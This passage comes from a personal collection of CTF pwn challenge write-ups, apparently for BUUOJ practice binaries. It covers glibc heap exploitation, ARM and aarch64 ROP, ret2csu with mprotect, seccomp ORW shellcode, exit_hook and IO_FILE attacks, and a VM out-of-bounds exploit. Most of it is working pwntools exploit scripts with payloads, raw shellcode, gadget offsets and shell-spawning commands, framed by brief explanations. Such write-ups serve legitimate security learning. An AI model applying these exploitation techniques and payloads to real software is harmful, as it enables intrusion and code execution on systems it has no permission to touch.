parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24)
parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)
return parts[0] | parts[1] | parts[2]
def exploit():
# leak libc
add(0, 1032, '//bin/sh\0', '', '', 0, '')
add(1, 1032, '', '', '', 0, '')
for i in range(2, 11):
add(i, 1032, '', '', '', 0, '')
for i in range(2, 9):
dele(i)
dele(1) # unsortedbin
edit(0, '', '', '', 0, b'a'*(1032-64+7)) # last byte is for '\n'
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena'] - 0x60
# 0x1f2ce0 in glibc-2.35
log.success('libc_base: ' + hex(libc_base))
# leak heap
add(11, 1032, '', '', '', 0, '') #8
dele(9)
edit(11, '', '', '', 0, b'b'*(1032-64)+b'abcdefg')
show(11)
io.recvuntil('abcdefg\n')
heap_base = decrypt_pointer(u64(io.recvuntil(b'1 Add\n')[:-6].ljust(8, b'\x00'))) - 0x1000
log.success('heap_base: ' + hex(heap_base))
# getshell
fake_chunk = b'c'*(1032-64)+p64(0x411)+p64(((heap_base+0x2730)>>12)^0x404010) # buf overflow, make the chunk aligned to 16 bytes
edit(11, '', '', '', 0, fake_chunk)
add(12, 1032, '', '', '', 0, '') # nothing
io.sendline('1') # 0x2730 = 0x250 + 0x410*9 + 0x10 + 0x40
io.sendline('13')
io.sendline('1032')
io.send('n1rvana') # since we make the chunk at 0x401010, it's null and we can fill anything
io.send(p64(libc_base+libc.sym['system'])) # where the free.got is
io.send(p64(libc_base+libc.sym['puts'])) # keeping the same
io.sendline('0')
io.send(p64(libc_base+libc.sym['scanf'])) # keeping the same
dele(0)
arm
jarvisoj_typo——ARM ROP
ARM Register Introduction:
Register | Alias/Description | Typical Use | ABI Convention (AAPCS32) |
---|---|---|---|
R0–R3 | Arguments/Return | Parameters & Return | caller-saved |
R4–R11 | Saved Registers | Local Variables/Persistent Values | callee-saved (R9 sometimes platform-reserved) |
R12 | IP | Intra-procedure Call Trampoline | caller-saved |
R13 | SP | Stack Pointer | 8-byte aligned |
R14 | LR | Return Address | caller-saved |
R15 | PC | Program Counter | Read/Branch |
CPSR/APSR | Flags | Condition Codes | Updated by instructions |
S0–S31 / D0–D31 / Q0–Q15 | VFP/NEON | Floating-point/Vector | Saved per toolchain convention (commonly D8–D15 callee-saved) |
Required Software:
sudo apt-get install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gdb-multiarch
Debugging:
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn
pwndbg> target remote localhost:1234
Note: 32-bit ARM also uses registers for argument passing, r0
is the first argument, r1
is the second, and so on.
exp(debuggable):
from pwn import *
elf_path = '/home/junyu33/Desktop/tmp/typo'
#libc_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
#libc_path = './libc/libc.so_2.6'
def exploit():
bin_sh = 0x6c384
system = 0x110b4
pop_r0_r4_pc = 0x20904
payload = b'a'*112 + p32(pop_r0_r4_pc)+ p32(bin_sh) + p32(0) + p32(system)
io.sendline()
io.send(payload)
if __name__ == '__main__':
context(arch='arm', os='linux', log_level='debug')
io = process(['qemu-arm', '-g', '1234', elf_path])
elf = ELF(elf_path)
#libc = ELF(libc_path)
if(sys.argv.__len__() > 1):
if sys.argv[1] == 'debug':
gdb.attach(io, 'target remote localhost:1234')
elif sys.argv[1] == 'remote':
io = remote('node4.buuoj.cn', 29593)
exploit()
io.interactive()
io.close()
shanghai2018_baby_arm——arm ret2csu+vmprotect
Introduction to aarch64 registers:
Register | Alias/Description | Typical Usage | ABI Convention (AAPCS64) |
---|---|---|---|
X0–X7 / W0–W7 | Lower 32 bits use Wn | Function args/ret | First 8 args; return value X0 (X1 assists if needed) caller-saved |
X8 | indirect result / syscall num | Platform reserved | caller-saved |
X9–X15 | Temporary | Volatile | caller-saved |
X16–X17 | IP0/IP1 | Internal jump/PLT bridge | caller-saved |
X18 | Platform register | Some use as TLS/reserved | Platform-dependent; usually avoid |
X19–X28 | Saved registers | Callee preserved | callee-saved |
X29 | FP | Frame pointer | callee-saved |
X30 | LR | Return address | caller-saved (overwritten by call) |
SP | Stack pointer | 16-byte aligned | Aligned before/after call |
PC | Program counter | Next instruction | Read-only access |
XZR/WZR | Constant 0 | Write discard | Not general storage |
V0–V31 | 128-bit SIMD/FP | NEON/FP compute | V8–V15 callee-saved; others caller-saved |
PSTATE/NZCV | Flags | Conditional branch | Updated by instructions |
The first parameter of vmprotect
is addr, the second is length, and the third is permission, as follows:
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */
aarch64 also has an init
function similar to libc_csu_init
, shown here is the latter part:
.text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j
.text:00000000004008AC A3 7A 73 F8 LDR X3, [X21,X19,LSL#3] ;mov X3, [X21+X19+LSL<<3]
.text:00000000004008B0 E2 03 16 AA MOV X2, X22 ;argument 2
.text:00000000004008B4 E1 03 17 AA MOV X1, X23 ;argument 1
.text:00000000004008B8 E0 03 18 2A MOV W0, W24 ;argument 0
.text:00000000004008BC 73 06 00 91 ADD X19, X19, #1
.text:00000000004008C0 60 00 3F D6 BLR X3 ;jmp X3
.text:00000000004008C0
.text:00000000004008C4 7F 02 14 EB CMP X19, X20
.text:00000000004008C8 21 FF FF 54 B.NE loc_4008AC
.text:00000000004008C8
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j
.text:00000000004008CC F3 53 41 A9 LDP X19, X20, [SP,#var_s10] ;x19 = [sp+0x10], x20 = [sp+0x18]
.text:00000000004008D0 F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40 ;x29 = [sp], x30 = [sp+9], sp+=0x40
.text:00000000004008DC C0 03 5F D6 RET
exp:
def exploit():
offset = 72
mprotect = 0x4007e0
buf = 0x411068
shellcode = asm(shellcraft.aarch64.sh())
payload = p64(mprotect) + shellcode
io.send(payload)
payload = b'a'*72 + p64(0x4008cc) # ret2csu
payload += p64(0) + p64(0x4008ac) # x29, x30
payload += p64(0) + p64(1) # x19, x20
payload += p64(buf) + p64(7) # x21, x22
payload += p64(0x1000) + p64(buf) # x23, x24
payload += p64(0) + p64(buf+8) # x29', x30' (new frame)
io.sendline(payload)
inctf2018_wARMup — ARM Shellcode
Note that in ARM architecture, the .bss section is executable, allowing direct placement of shellcode on the bss segment.
Originally intended to use shellcraft, but it failed. Ended up grabbing a piece of shellcode from the internet which worked, though it didn't pass locally.
b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'
from pwn import *
elf_path = '/home/junyu33/Desktop/tmp/wARMup'
#libc_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
libc_path = '/usr/arm-linux-gnueabihf/lib/libc.so.6'
def exploit():
shellcode = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'
pop_r3_pc = 0x10364
bss = 0x21034
payload = b'a'*0x64 + p32(bss+0x68) + p32(pop_r3_pc) + p32(bss) + p32(0x10530)
io.send(payload)
payload = shellcode.ljust(0x68, b'\0') + p32(bss) + p32(bss)
io.send(payload)
if __name__ == '__main__':
context(arch='arm', os='linux', log_level='debug')
elf = ELF(elf_path)
libc = ELF(libc_path)
if(sys.argv.__len__() > 1):
if sys.argv[1] == 'debug':
io = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabihf', elf_path])
gdb.attach(io, 'target remote localhost:1234')
elif sys.argv[1] == 'remote':
io = remote('node4.buuoj.cn', 25121)
else:
io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf', elf_path])
exploit()
io.interactive()
io.close()
misc
cicsn_2019_ne_5——sh
Both sh
and /bin/sh
can be used to open a shell.
ROPgadget --binary pwn --string 'sh'
Payload structure:
b'a'*(0x48+4) + p32(sys_addr) + p32(main_addr) + p32(bin_sh)
jarvisoj_level3——find /bin/sh using pyscript
def exploit():
#libc = ELF('./libc/libc-2.30.so')
libc = ELF('./libc/libc-2.23.so')
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
vuln = elf.sym['vulnerable_function']
io.recvuntil('Input:\n')
payload1 = b'a'*140 + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)
io.send(payload1)
read_addr = u32(io.recv(4))
libc_base = read_addr - libc.sym['read']
log.success('libc_base'+hex(libc_base))
bin_sh = libc_base + next(libc.search(b'/bin/sh')) # libc.search('/bin/sh').next() is out of date
sys = libc_base + libc.sym['system']
payload2 = b'a'*140 + p32(sys) + p32(vuln) + p32(bin_sh)
io.send(payload2)
ez_pz_hackover_2016 - cyclic find offset
Because sometimes IDA's analysis can also be wrong.
cyclic 50
generates a string sequence of length 50.
When a segmentation fault
occurs during dynamic debugging with gdb-peda
, you can determine the offset from the input position to ebp
by extracting the string corresponding to ebp
.
cyclic -l 'xxxx'
gives a result, and adding 4 or 8 to it yields the required padding size.
pwnable_orw
ORW refers to the scenario where your system calls are restricted, preventing you from gaining privileges or the flag via child processes. Instead, you must obtain the flag within the same process using only
open
,read
, andwrite
.seccomp, short for secure computing, is a straightforward sandboxing mechanism introduced in Linux kernel version 2.6.23. In Linux systems, a large number of system calls are directly exposed to user-space programs. However, not all system calls are necessary, and insecure code abusing system calls can pose security threats to the system. The seccomp security mechanism allows a process to enter a "secure" execution mode, where it can only invoke four system calls:
read()
,write()
,exit()
, andsigreturn()
. Any other system call results in process termination. ———————————————— Copyright Notice: This article is an original piece by the CSDN blogger "半岛铁盒@", following the CC 4.0 BY-SA copyright license. Reprinted with a link to the original source. Original link: https://blog.csdn.net/weixin_45556441/article/details/117852436
prctl(38, 1, 0, 0, 0); // elevation is forbidden
prctl(22, 2, &v1); // only open() read() write() is allowed
You can also directly inspect using seccomp-tools:
$ seccomp-tools dump ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: 1233
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
exp:
# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()
or with asm code:
# https://blog.csdn.net/weixin_45556441/article/details/117852436
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 27008)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)
p.interactive()
[ZJCTF 2019]Login
Tip: Press Tab in the pseudocode view to switch to assembly code.
This is actually a C++ reverse engineering challenge, which appears a bit tricky. The segmentation fault occurs due to the execution of call rax
.
lea rdx, [rbp+s]
lea rax, [rbp+s]
mov rcx, rdx
mov edx, offset format ; "Password accepted: %s\n"
mov esi, 50h ; 'P' ; maxlen
mov rdi, rax ; s
mov eax, 0
call _snprintf
lea rax, [rbp+s]
mov rdi, rax ; s
call _puts
mov rax, [rbp+var_68]
mov rax, [rax]
mov rax, [rax]
call rax
jmp short loc_400A62
Here, [rbp+var_68]
is the first parameter of the function.
; unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(void (***)(void), const char *, const char *)
_ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ proc near
; __unwind {
push rbp
mov rbp, rsp
add rsp, 0FFFFFFFFFFFFFF80h
mov [rbp+var_68], rdi ; HERE!!!
mov [rbp+s1], rsi
mov [rbp+s2], rdx
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov rdx, [rbp+s2]
mov rax, [rbp+s1]
mov rsi, rdx ; s2
mov rdi, rax ; s1
call _strcmp
test eax, eax
jnz short loc_400A58
Returning to the main
function, we can see that the return value of _Z16password_checkerPFvvE
is passed to [rbp+var_130]
, which ultimately becomes the first parameter of _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_
, the previous function.
lea rax, [rbp+var_131]
mov rdi, rax
call _ZZ4mainENKUlvE_cvPFvvEEv ; main::{lambda(void)#1}::operator void (*)(void)(void)
mov rdi, rax ; void (*)(void)
call _Z16password_checkerPFvvE ; password_checker(void (*)(void)) ; HERE!!!
mov [rbp+var_130], rax
mov edi, offset login ; this
call _ZN4User13read_passwordEv ; User::read_password(void)
lea rax, [rbp+var_120]
mov rdi, rax ; this
call _ZN4User12get_passwordEv ; User::get_password(void)
mov rbx, rax
mov edi, offset login ; this
call _ZN4User12get_passwordEv ; User::get_password(void)
mov rcx, rax
lea rax, [rbp+var_130]
mov rdx, rbx
mov rsi, rcx
mov rdi, rax
call _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ; password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(char const*,char const*)
mov eax, 0
Now, let's examine _Z16password_checkerPFvvE
:
; __int64 __fastcall password_checker(void (*)(void))
public _Z16password_checkerPFvvE
_Z16password_checkerPFvvE proc near
var_18= qword ptr -18h
var_8= qword ptr -8
; __unwind {
push rbp
mov rbp, rsp
mov [rbp+var_18], rdi
mov [rbp+var_8], 0
lea rax, [rbp+var_18]
pop rbp
retn
; } // starts at 400A79
_Z16password_checkerPFvvE endp
We can see that the return value is [rbp+var_18]
.
Since these functions are all at the same level as subfunctions of main
, the relative positions on the stack remain unchanged. Therefore, it is possible to overwrite [rbp+var_18]
with the address of a shell during password input, thereby gaining shell access.
wustctf2020_closed
close(1) closes standard output, and close(2) closes standard error. We are left with only standard input, and we see that the program returns a shell (0 is standard input, 1 is standard output, 2 is standard error).
Redirect standard output to standard input to obtain the flag.
exec 1>&0
mrctf2020_shellcode_revenge - Alphanumeric Shellcode
You can use alpha3 to generate or import the AE64 library.
Reference link: http://taqini.space/2020/03/31/alpha-shellcode-gen/#生成shellcode
def exploit():
shellcode = asm(shellcraft.sh())
alpha_shellcode = AE64().encode(shellcode)
io.send(alpha_shellcode)
hctf2018_the_end—io_file attack
Initially, I planned to forge a vtable locally in libc 2.23, replacing setbuf
with a one_gadget
to get a shell. GDB debugging showed that the shell was indeed obtained, but there was no output at all.
def exploit():
io.recvuntil('gift ')
libc_base = int(io.recv(14), 16) - libc.sym['sleep']
print(hex(libc_base))
one_gadget = libc_base + 0xf03a4 # 0x4527a 0xf03a4 0xf1247 0x45226
stdout = libc_base + libc.symbols["_IO_2_1_stdout_"]
vtable = stdout + 0xd8
fake_vtable = stdout + 0x48
fake_setbuf = stdout + 0xa0
print(hex(stdout), hex(vtable), hex(fake_vtable), hex(fake_setbuf), hex(one_gadget))
for i in range(2):
io.send(p64(vtable+i))
io.send(p64(fake_vtable)[i:i+1])
for i in range(3):
io.send(p64(fake_setbuf+i))
io.send(p64(one_gadget)[i:i+1])
io.sendline("cat flag>&0") # failed
Then I referred to a senior's article: https://bbs.pediy.com/thread-262459.htm, which suggested modifying the function pointer dl_rtld_lock_recursive
in _rtld_global
to achieve an exit_hook attack
.
Surprisingly, this method worked on the remote server (libc 2.27) but still failed locally on libc 2.23.

def exploit():
io.recvuntil('gift ')
libc_base = int(io.recv(14), 16) - libc.sym['sleep']
print(hex(libc_base))
one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x4f322 0x10a38c
_rtld_global = libc_base + 0x619060 # debug
dl_rtld_lock_recursive_addr = _rtld_global + 0xf08
for i in range(5):
io.send(p64(dl_rtld_lock_recursive_addr + i))
io.send(p64(one_gadget)[i:i+1])
io.sendline("cat flag >&0")
There is another method I haven't tried: https://blog.csdn.net/Mira_Hu/article/details/103736917
Modify the last byte of
_IO_write_ptr
instdout
to achievefp->_IO_write_ptr > fp->_IO_write_base
.Modify the second-to-last byte of the vtable in
stdout
to ensure the forged_IO_OVERFLOW
points to a libc-related address.Finally, modify the last three bytes of the forged
_IO_OVERFLOW
to the one gadget.After these five-byte modifications, executing the
exit
function will eventually execute the one gadget, obtaining a shell.
ciscn_2019_n_7—exit_hook Attack
Offsets of exit_hook
in libc 2.23 and 2.27
Update on 2022/10/17:
This should be
_rtld_global
# libc-2.23.so
exit_hook = libc_base + 0x5f0040 + 3848
exit_hook = libc_base + 0x5f0040 + 3856
# libc-2.27.so
exit_hook = libc_base + 0x619060 + 3840
exit_hook = libc_base + 0x619060 + 3848
The program crashes locally, but the exploit is simple and can be executed remotely without debugging.
def exploit():
io.sendline('666')
io.recvuntil('0x')
libc_base = int(io.recv(12), 16) - libc.sym['puts']
log.info('libc_base: ' + hex(libc_base))
exit_hook = 0x5f0040 + 3848
one_gadget = 0xf1147
add(0x18, 'a')
edit(b'a'*8 + p64(libc_base + exit_hook), p64(libc_base + one_gadget))
io.sendline('4')
# exec 1>&0 cat flag
wdb2018_GUESS—fork+libc to stack
This program uses the fork
function, which copies the entire memory of the original process to the child process (including the execution flow), so the stack addresses and libc addresses remain unchanged.
When the program modifies the canary, it will report an error and exit, printing the program's path. We can modify the address corresponding to this path (1) to achieve certain goals, as detailed below:
- Change (1) to
puts.got
to leak the libc address and obtain the address oflibc.environ
. - Then change (1) to
libc.environ
to leak a certain stack address (2). - Since the flag is on the stack, we can calculate the offset to the flag address and change the address in (1) to that address to leak the flag.
Both (1) and (2) can be determined through debugging.
def exploit():
payload = b'a'*0x128 + p64(elf.got['puts'])
io.sendline(payload)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
log.success(message='libc_base: ' + hex(libc_base))
libc_environ = libc_base + libc.sym['environ']
payload = b'a'*0x128 + p64(libc_environ)
io.sendline(payload)
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success(message='stack_addr: ' + hex(stack_addr))
flag_addr = stack_addr - 0x7ffd64929cc8 + 0x7ffd64929b60
payload = b'a'*0x128 + p64(flag_addr)
io.sendline(payload)
ciscn_2019_final_2—Modify File Descriptor
This challenge has no sandbox restrictions, so using ORW is not necessary.
# junyu33 @ zjy in ~/tmp [11:21:25]
$ seccomp-tools dump ./ciscn_final_2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
At the beginning, there is an operation that modifies the file descriptor for the flag:
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
return __readfsqword(0x28u) ^ v2;
}
We only need to change the file descriptor to 666
.
Specifically, modify the _fileno
field in the FILE
structure (refer to house of orange
) to 666
.
def exploit():
add(1, 0x30)
dele(1)
for i in range(4):
add(2, 0x20)
dele(2)
add(1, 0x1234) # bool
dele(2)
show(2)
io.recvuntil('number :')
heap_low = (int(io.recvline()[:-1]) + 0x10000) & 0xffff
log.success('heap_low: '+hex(heap_low))
add(2, heap_low - 0xa0)
add(2, 0)
dele(1)
add(2, 0x91)
for i in range(7):
dele(1)
add(2, 0) # bool
dele(1)
show(1)
io.recvuntil('number :')
libc_low = (int(io.recvline()[:-1]) - libc.sym['__malloc_hook'] - 0x70 + 0x100000000) & 0xffffffff
log.success('libc_low: '+hex(libc_low))
stdin = libc_low + libc.sym['_IO_2_1_stdin_'] + 0x70 # here
add(2, stdin&0xffff) # no tcache
add(1, 0)
add(1, 666)
leave('ok')
actf_2019_babyheap——avoid forking child process
gdb.attach(io, 'set follow-fork-mode parent')
hfctf_2020_marksman—exit_hook attack2
Reference link: https://www.cnblogs.com/LynneHuan/p/14687617.html
Another form of exit_hook
attack, modifying _dl_catch_error@got.plt
to one_gadget
Use the -l
parameter with one_gadget
, such as -l2
, -l3
, to view more gadgets
def exploit():
io.recvuntil('0x')
libc_puts = int(io.recv(12), 16)
libc_base = libc_puts - libc.symbols['puts']
ogg = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a387, 0x10a398]
one_gadget = libc_base + ogg[2]
exit_hook = libc_base + 0x5f4038 # _dl_catch_error@got.plt
io.sendline(str(exit_hook))
io.sendline(p8(one_gadget&0xff))
io.sendline(p8((one_gadget>>8)&0xff))
io.sendline(p8((one_gadget>>16)&0xff))
[OGeek2019 Final]OVM——vm
The difference between vm pwn and vm reverse is that you don't need to reverse all instructions—just focus on the vulnerable ones (primarily array out-of-bounds) and reverse other relevant instructions centered around exploiting that vulnerability. There's no need to write Python functions for every opcode, which wastes time.
In this challenge, opcode 0x30 and opcode 0x40 have array out-of-bounds vulnerabilities, allowing arbitrary read and write operations. Since the comment is allocated on the heap, a simple approach is to obtain the libc address via stderr, then modify the heap pointer to __free_hook
and write a one_gadget
into it.
# reg13 = sp
# reg15 = pc
# 0x10 dest = src0
# 0x30 dest = *src0
# 0x40 *src0 = dest
# 0x80 dest = src1 - src0
# 0xa0 dest = src1 | src0
# 0xc0 dest = src1 << src0
# 0xff print reg
# opcodes dest src1 src0
code = [
# leak libc, offset to stderr = -26
0x100e0008, # r14 = 0x8
0x1003001a, # r3 = 0x1a
0x1004001b, # r4 = 0x19
0x80030703, # r3 = -r3
0x300c0003, # r12 = mem[r3] # lower addr of stderr
0x80040704, # r5 = -r5
0x300b0004, # r11 = mem[r4] # higher addr of stderr
# write __free_hook to comment, offset = 0x10a8
0x10030008, # r3 = 0x8
0x80030703, # r3 = -r3
0x10050010, # r5 = 0x10
0x100600a8, # r6 = 0xa8
0xc005050e, # r5 = r5 << r14
0xa0050506, # r5 = r5 | r6, so r5 = 0x10a8
0x80050705, # r5 = -r5
0x800c0c05, # r12 = 12 - (-r5), so r12 = __free_hook
0x400c0003, # mem[r3] = r12
0x10030007, # r3 = 0x7
0x80030703, # r3 = -r3
0x400b0003, # mem[r3] = r11
0xff000000 # show
]
def exploit():
io.sendlineafter('PC: ', '0')
io.sendlineafter('SP: ', '1')
io.sendlineafter('SIZE: ', str(len(code)))
io.recvuntil('CODE: ')
for i in code:
io.sendline(str(i))
io.recvuntil('R11: ')
free_hookh = int(io.recvline()[:-1], 16)
io.recvuntil('R12: ')
free_hookl = int(io.recvline()[:-1], 16)
libc_base = (free_hookh << 32 | free_hookl) - libc.sym['__free_hook']
log.info('libc_base: ' + hex(libc_base))
one_gadget = libc_base + 0x4526a
io.send(p64(one_gadget))
sctf_2019_one_heap——1/256 Probability
The idea is to perform a double free to gain control over the tcache_perthread_struct
, modify the count for 0x250 chunks, and then free the structure itself to turn it into an unsorted bin.
After reallocating a chunk of size 0x40 or larger, main_arena
will shift downward into the next
pointer, allowing a partial write to brute-force the stdout
address and leak libc.
Finally, directly write the one_gadget
into __malloc_hook
and adjust realloc_hook+4
accordingly.
This challenge requires brute-forcing both the heap address and the stdout
address simultaneously, resulting in a success probability of 1/256. A looped exploit script is needed, with the loop section provided below:
2022/10/23: Buu page 5 completed—celebrations! ★,°:.☆( ̄▽ ̄)/$:.°★ 。
if __name__ == '__main__':
context(arch='amd64', os='linux')#, log_level='debug')
elf = ELF(elf_path)
libc = ELF(libc_path)
for i in range(256):
io = process(elf_path)
log.info('i tries: ' + str(i))
if(sys.argv.__len__() > 1):
if sys.argv[1] == 'debug':
gdb.attach(io, 'b calloc')
elif sys.argv[1] == 'remote':
io = remote('node4.buuoj.cn', 27751)
elif sys.argv[1] == 'ssh':
shell = ssh('fsb', 'node4.buuoj.cn', 25540, 'guest')
io = shell.process('./fsb')
try:
exploit()
io.interactive()
except:
try:
io.close()
except:
pass